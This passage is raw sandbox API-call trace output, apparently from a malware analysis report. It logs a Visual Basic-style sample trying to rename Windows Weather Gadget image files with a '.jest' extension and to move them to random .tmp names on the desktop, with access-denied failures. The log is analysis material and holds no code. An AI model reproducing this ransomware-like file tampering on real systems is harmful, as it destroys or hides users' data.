(x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png", lpFilePart=0x18e708*="43.png") returned 0x4b [0128.126] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\43.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f1vo4tehcx2ic5yyypjq-nhp9h94eghrtowil307es4mod_xtpw7vgxgt51llb438lcmg7aokujvlpp0-zgntxufpa3cxykexp vk.tmp")) returned 0 [0128.128] GetLastError () returned 0x5 [0128.128] GetLastError () returned 0x5 [0128.128] SetLastError (dwErrCode=0x5) [0128.128] GetLastError () returned 0x5 [0128.128] SetLastError (dwErrCode=0x5) [0128.128] GetLastError () returned 0x5 [0128.128] SetLastError (dwErrCode=0x5) [0128.129] GetFullPathNameA (in: lpFileName="F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp", lpFilePart=0x18e6e4*="F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp") returned 0x8f [0128.129] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F1vo4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f763146, cFileName="4teHCx2Ic5yYYPjq-NHP9h94EghrTOwil307Es4moD_XTpW7VgXGt51lLB438LCmG7aOKUjVLPp0-zGnTxufpa3cxYKExP vk.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.129] GetLastError () returned 0x2 [0128.129] GetLastError () returned 0x2 [0128.129] SetLastError (dwErrCode=0x2) [0128.129] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.129] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.129] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.130] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.130] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.130] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.130] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.130] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.130] CoFreeUnusedLibraries () [0128.130] GetTickCount () returned 0x115275f [0128.130] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.130] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.130] GetTickCount () returned 0x115275f [0128.130] IsWindowVisible (hWnd=0x30268) returned 0 [0128.130] Sleep (dwMilliseconds=0x0) [0128.131] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\42.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\42.png.jest")) returned 0 [0128.133] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png", lpFilePart=0x18e6d8*="42.png") returned 0x4b [0128.133] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3530dc, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc3530dc, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x57, dwReserved1=0x0, cFileName="42.png", cAlternateFileName="")) returned 0x143ce48 [0128.134] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.135] VarBstrFromR4 (in: fltIn=0x479445fd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.98") returned 0x0 [0128.136] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0128.136] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0128.136] GetUserDefaultLCID () returned 0x409 [0128.136] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0128.136] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.136] CoFreeUnusedLibraries () [0128.136] GetTickCount () returned 0x115276f [0128.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.136] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.136] GetTickCount () returned 0x115276f [0128.137] IsWindowVisible (hWnd=0x30268) returned 0 [0128.137] Sleep (dwMilliseconds=0x0) [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.137] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.138] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.139] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0128.140] GetFullPathNameA (in: lpFileName="fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp", lpFilePart=0x18e708*="fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp") returned 0x8f [0128.141] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png", lpFilePart=0x18e708*="42.png") returned 0x4b [0128.141] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\42.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fc_ybeiyajcuimyqutt ubhjlxlt-czelcfhpeqc7ybnomfsowjpxzj0vi3pztel3t0bggo0pwnsjiv_7ggfwsesng0hzcvgnump9.tmp")) returned 0 [0128.143] GetLastError () returned 0x5 [0128.143] GetLastError () returned 0x5 [0128.143] SetLastError (dwErrCode=0x5) [0128.143] GetLastError () returned 0x5 [0128.143] SetLastError (dwErrCode=0x5) [0128.143] GetLastError () returned 0x5 [0128.143] SetLastError (dwErrCode=0x5) [0128.144] GetFullPathNameA (in: lpFileName="fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp", lpFilePart=0x18e6e4*="fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp") returned 0x8f [0128.144] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fc_yBEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x795f6366, cFileName="BEiyaJCuiMyQUtt UBHJLXlT-czELcfhPeqC7YBNOmfsOWJpXZj0VI3PzTEL3T0bgGO0pwNsjIv_7gGfwsEsnG0HZcvgNump9.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.144] GetLastError () returned 0x2 [0128.144] GetLastError () returned 0x2 [0128.144] SetLastError (dwErrCode=0x2) [0128.144] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0128.144] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.144] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.145] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.145] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.145] CoFreeUnusedLibraries () [0128.146] GetTickCount () returned 0x115276f [0128.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.146] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.146] GetTickCount () returned 0x115276f [0128.146] IsWindowVisible (hWnd=0x30268) returned 0 [0128.146] Sleep (dwMilliseconds=0x0) [0128.147] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\44.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\44.png.jest")) returned 0 [0128.149] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png", lpFilePart=0x18e6d8*="44.png") returned 0x4b [0128.149] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc37923b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc37923b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7f07bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x57, dwReserved1=0x0, cFileName="44.png", cAlternateFileName="")) returned 0x143ce48 [0128.150] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.151] VarBstrFromR4 (in: fltIn=0x479445ff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.99") returned 0x0 [0128.151] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.151] CoFreeUnusedLibraries () [0128.151] GetTickCount () returned 0x115277e [0128.151] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.152] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.152] GetTickCount () returned 0x115277e [0128.152] IsWindowVisible (hWnd=0x30268) returned 0 [0128.152] Sleep (dwMilliseconds=0x0) [0128.154] GetFullPathNameA (in: lpFileName="_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp", lpFilePart=0x18e708*="_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp") returned 0x8f [0128.155] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png", lpFilePart=0x18e708*="44.png") returned 0x4b [0128.155] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\44.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_k2bf zvsjkoirsjlnqcewgc6y d3_qhjjowldbtdajeiae6sui7j69-tpup-hejwa_4v6xsxy-g7jde-4ueb6vlqijqevnoxmqmv.tmp")) returned 0 [0128.157] GetLastError () returned 0x5 [0128.157] GetLastError () returned 0x5 [0128.157] SetLastError (dwErrCode=0x5) [0128.157] GetLastError () returned 0x5 [0128.157] SetLastError (dwErrCode=0x5) [0128.157] GetLastError () returned 0x5 [0128.157] SetLastError (dwErrCode=0x5) [0128.157] GetFullPathNameA (in: lpFileName="_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp", lpFilePart=0x18e6e4*="_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp") returned 0x8f [0128.157] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_K2Bf ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x42324b5f, cFileName="f ZVsJkOiRsJlNQceWgc6y d3_qHjjOWLdbTdAJEIAE6Sui7J69-tpUP-HEjwA_4V6xsXY-G7jdE-4UEb6VLQIJqeVnoXMQMv.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.157] GetLastError 